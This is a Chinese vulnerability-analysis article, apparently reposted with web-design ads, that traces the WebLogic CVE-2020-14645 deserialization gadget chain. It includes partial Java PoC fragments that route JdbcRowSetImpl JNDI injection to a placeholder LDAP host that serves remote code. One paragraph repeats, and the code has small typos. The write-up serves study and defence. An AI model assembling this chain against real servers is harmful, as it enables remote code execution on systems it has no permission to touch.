這篇文章將為大家詳細講解有關(guān)WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。
瓊海網(wǎng)站制作公司哪家好,找成都創(chuàng)新互聯(lián)公司!從網(wǎng)頁設(shè)計、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)等網(wǎng)站項目制作,到程序開發(fā),運營維護。成都創(chuàng)新互聯(lián)公司從2013年成立到現(xiàn)在10年的時間,我們擁有了豐富的建站經(jīng)驗和運維經(jīng)驗,來保證我們的工作的順利進行。專注于網(wǎng)站建設(shè)就選成都創(chuàng)新互聯(lián)公司。
Oracle七月發(fā)布的安全更新中,包含了一個Weblogic的反序列化RCE漏洞,編號CVE-2020-14645,CVS評分9.8。
該漏洞是針對于CVE-2020-2883的補丁繞過,CVE-2020-2883補丁將MvelExtractor和ReflectionExtractor列入黑名單,因此需要另外尋找一個存在extract且方法內(nèi)存在惡意操作的類,這里用到的類為com.tangosol.util.extractor.UniversalExtractor,存在于Coherence組件。
先來回顧一下CVE-2020-2883的兩個poc調(diào)用鏈
//poc1 javax.management.BadAttributeValueExpException.readObject() com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString() java.util.concurrent.ConcurrentSkipListMap$SubMap.size() java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd() java.util.concurrent.ConcurrentSkipListMap.cpr() com.tangosol.util.comparator.ExtractorComparator.compare() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() //... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec() //poc2 java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() com.tangosol.util.extractor.AbstractExtractor.compare() com.tangosol.util.extractor.MultiExtractor.extract() com.tangosol.util.extractor.ChainedExtractor.extract() //... Method.invoke() //... Runtime.exec()
其本質(zhì)上,都是通過ReflectionExtractor調(diào)用任意方法,從而實現(xiàn)調(diào)用Runtime對象的exec方法執(zhí)行任意命令,但補丁現(xiàn)在已經(jīng)將ReflectionExtractor列入黑名單,那么只能使用UniversalExtractor重新構(gòu)造一條利用鏈,這里使用poc2的入口即CommonsCollections4鏈的入口進行構(gòu)造。
為了方便一些純萌新看懂,此處將會從0開始分析反序列化鏈(啰嗦模式警告),并且穿插一些poc構(gòu)造時需要注意的點,先來看看調(diào)用棧。
從頭開始跟進分析整個利用鏈,先來看看PriorityQueue.readObject()方法。
第792會執(zhí)行for循環(huán),將s.readObject()方法賦給queue對象數(shù)組,跟進heapify()方法。
這里會取一半的queue數(shù)組分別執(zhí)行siftDown(i, (E) queue[i]);,實質(zhì)上PriorityQueue是一個最小堆,這里通過siftDown()方法進行排序?qū)崿F(xiàn)堆化,那么跟進siftDown()方法。
這里有個對于comparator的判定,我們暫時不考慮comparator的值是什么,接下來會使用到,我們先跟進siftDownUsingComparator()方法。
重點關(guān)注comparator.compare()方法,那么我們先來看看comparator是怎么來的。
是在PriorityQueue的構(gòu)造函數(shù)中被賦值的,并且這里可以看到,queue對象數(shù)組也是在這里被初始化的。那么結(jié)合上述所分析的點,我們需要構(gòu)造一個長度為2的queue對象數(shù)組,才能觸發(fā)排序,進入siftDown()方法。同時還要選擇一個comparator,這里選用ExtractorComparator。繼續(xù)跟進ExtractorComparator.compare()方法。
這里將會調(diào)用this.m_extractor.extract()
方法,讓我們看看this.m_extractor
是怎么來的。
可以看到,this.m_extractor的值是與傳入的extractor有關(guān)的。這里需要構(gòu)造this.m_extractor為ChainedExtractor,才可以調(diào)用ChainedExtractor的extract()方法實現(xiàn)串接extract()調(diào)用。因此,首先需要構(gòu)造這樣一個PriorityQueue對象:
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor)); //這里chainedExtractor為ChainedExtractor對象,后續(xù)會說明chainedExtractor對象的具體構(gòu)造
繼續(xù)跟進ChainedExtractor.extract()方法,可以發(fā)現(xiàn)會遍歷aExtractor數(shù)組,并調(diào)用其extract()方法。
可以看到,this.m_extractor的值是與傳入的extractor有關(guān)的。這里需要構(gòu)造this.m_extractor為ChainedExtractor,才可以調(diào)用ChainedExtractor的extract()方法實現(xiàn)串接extract()調(diào)用。因此,首先需要構(gòu)造這樣一個PriorityQueue對象:
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor)); //這里chainedExtractor為ChainedExtractor對象,后續(xù)會說明chainedExtractor對象的具體構(gòu)造
繼續(xù)跟進ChainedExtractor.extract()方法,可以發(fā)現(xiàn)會遍歷aExtractor數(shù)組,并調(diào)用其extract()方法。
此處aExtractor數(shù)組是通過ChainedExtractor的父類AbstractCompositeExtractor的getExtractors()方法獲取到父類的m_aExtractor屬性值。
所以,poc中需要這樣構(gòu)造m_aExtractor
:
Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true);
m_aExtractor
具體的值需要怎么構(gòu)造,需要我們繼續(xù)往下分析。先回到我們所要利用到的UniversalExtractor
,跟進其extract()
方法。
此處由于m_cacheTarget使用了transient修飾,無法被反序列化,因此只能執(zhí)行else部分,跟進extractComplex()方法。
這里看到最后有method.invoke()方法,oTarget和aoParam都是我們可控的,因此我們需要看看method的處理,跟進findMethod方法。
可以看到第477行可以獲取任意方法,但是要進入if語句,得先使fExactMatch為true,fStatic為false。可以看到fStatic是我們可控的,而fExactMatch默認(rèn)為true,只要沒進入for循環(huán)即可保持true不變,使cParams為空即aclzParam為空的Class數(shù)組即可,此處aclzParam從getClassArray()方法獲取。
顯而易見,傳入一個空的Object[]即可。回到extractComplex()方法,此時我們只要我們進入第192行的else語句中,即可調(diào)用任意類的任意方法。但此時還需要fProperty的值為false,跟進isPropertyExtractor()方法。
可惜m_fMethod依舊是使用transient修飾,溯源m_fMethod的賦值過程。
可以看到,由于this對象的原因,getValueExtractorCanonicalName()方法始終返回的是null,那么跟進computeValuExtractorCanonicalName()方法。
此處不難理解,如果aoParam不為null且數(shù)組長度大于0就會返回null,因此我們調(diào)用的方法必須是無參的(因為aoParam必須為null)。接著如果方法名sName不以 () 結(jié)尾,則會直接返回方法名。否則會判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES數(shù)組中的前綴開頭,是的話就會截取掉并返回。
回到extractComplex方法中,在if條件里會對上述返回的方法名做首字母大寫處理,然后拼接BEAN_ACCESSOR_PREFIXES數(shù)組中的前綴,判斷clzTarget類中是否含有拼接后的方法。這時發(fā)現(xiàn)無論如何我們都只能調(diào)用任意類中g(shù)et和is開頭的方法,并且還要是無參的。
整理下我們可以利用的思路:
調(diào)用init()方法,對this.method進行賦值,從而使fProperty的值為false,從而進入else分支語句,實現(xiàn)調(diào)用任意類的任意方法。然而這個思路馬上就被終結(jié)了,因為我們根本調(diào)用不了非get和is開頭的方法!!!
被transient修飾的m_cacheTarget在extractComplex方法中被賦值
在ExtractorComparator.compare()方法中,我們知道extract方法能被執(zhí)行兩次,因此在第二次執(zhí)行時,能夠在UniversalExtractor.extract方法中調(diào)用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)方法。但是這種方法也是行不通的,因為getMethod()獲取的就是圖上紅框的中的method,很顯然method依舊受到限制,當(dāng)我們調(diào)用非 get 和 is 開頭的方法時,findMethod 會返回 null。
只能走方法被限制的路線了,尋找所有類中以 get 和 is開頭并且可利用的無參方法
get 和 is復(fù)現(xiàn)過Fastjson反序列化漏洞的小伙伴,應(yīng)該清楚Fastjson的利用鏈尋找主要針對get和set方法,這時候就與我們的需求有重合處,不難想到JdbcRowSetImpl的JNDI注入,接下來一起回顧一下。
其connect方法中調(diào)用了lookup方法,并且DataSourceName是可控的,因此存在JNDI注入漏洞,看看有哪些地方調(diào)用了connect方法。
有三個方法調(diào)用了connect方法,分別為prepare、getDatabaseMetaData和setAutoCommit方法,逐一分析。
prepare()
一開始就調(diào)用了connect方法,繼續(xù)回溯哪里調(diào)用了prepare方法。
execute方法,應(yīng)該是用于執(zhí)行sql查詢的
這個應(yīng)該是用于獲取參數(shù)元數(shù)據(jù)的方法,prepare()方法應(yīng)該都是用于一些與sql語句有關(guān)的操作方法中。
getDatabaseMetaData()
setAutoCommit()
必須讓this.conn為空,對象初始化時默認(rèn)為null,因此直接進入else語句。其實this.conn就是connect方法,用于保持?jǐn)?shù)據(jù)庫連接狀態(tài)。
回到connect方法,我們需要進入else語句才能執(zhí)行l(wèi)ookup方法。有兩個前提條件,this.conn為空,也就是執(zhí)行connect方法時是第一次執(zhí)行。第二個條件是必須設(shè)置DataSourceName的值,跟進去該參數(shù),發(fā)現(xiàn)為父類BaseRowSet的private屬性,可被反序列化。
那么,對于WebLogic這個反序列化利用鏈,我們只要利用getDatabaseMetaData()方法就行,接下來看看該怎么一步步構(gòu)造poc。先從JdbcRowSetImpl的JNDI注入回溯構(gòu)造:
JdbcRoSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance(); Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class); setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行構(gòu)造 //利用ysoserial的Reflections模塊,由于需要獲取queue[i]進行compare,因此需要對數(shù)組進行賦值 Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue")); queueArray[0] = jdbcRowSet; queueArray[1] = jdbcRowSet;
接著構(gòu)造 UniversalExtract 對象,用于調(diào)用 JdbcRowSetImpl 對象的方法
UniversalExtractor universalExtractor = new UniversalExtractor(); Object object = new Object[]{}; Reflections.setFieldValue(universalExtractor,"m_aoParam",object); Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData"); Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
緊接著將 UniversalExtract 對象裝載進文章開頭構(gòu)造的 chainedExtractor 對象中
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor }; field.set(chainedExtractor,valueExtractor_list2);//field為m_aExtractor
此處,還有一個小點需注意,一個在文章開頭部分構(gòu)造的 PriorityQueue 對象,需要構(gòu)造一個臨時 Extractor 對象,用于創(chuàng)建時的 comparator,此處以 ReflectionExtractor 為例。其次,PriorityQueue 對象需要執(zhí)行兩次 add 方法。
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{}); ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor}); PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor)); queue.add("1"); queue.add("1");
回到 PriorityQueue 對象的 readObject 方法
首先需要能進入 for 循環(huán),for 循環(huán)就得有 size 的值,size 值默認(rèn)為 0,private 屬性,可以通過反射直接設(shè)置,但是不想通過反射怎么辦,回溯賦值過程。
在 offer 方法處獲得賦值,而 offer 方法又是由 add 方法調(diào)用。(注意此處會執(zhí)行 siftUp 方法,其中會觸發(fā) comparator 的 compare 方法,從而執(zhí)行 extract 方法)。
不難理解,每 add 一次,size 加 1,根據(jù)上述 heapify 方法,只會從開頭開始取一半的 queue 數(shù)組執(zhí)行 siftDown 方法。所以 size 至少為 2,需要執(zhí)行兩次 add 方法,而不是 add(2) 一次。
至此,poc 的主體就構(gòu)造完成,其余部分就不在此闡述了,當(dāng)然構(gòu)造方式有很多,此處為方便萌新,分析得比較啰嗦,poc 也比較雜亂,大家可以自行構(gòu)造屬于自己的 poc。
關(guān)于WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
本文名稱:WebLogiccoherenceUniversalExtractor反序列化的漏洞分析是怎樣的
本文地址:http://vcdvsql.cn/article12/pegggc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供ChatGPT、電子商務(wù)、App開發(fā)、移動網(wǎng)站建設(shè)、手機網(wǎng)站建設(shè)、小程序開發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)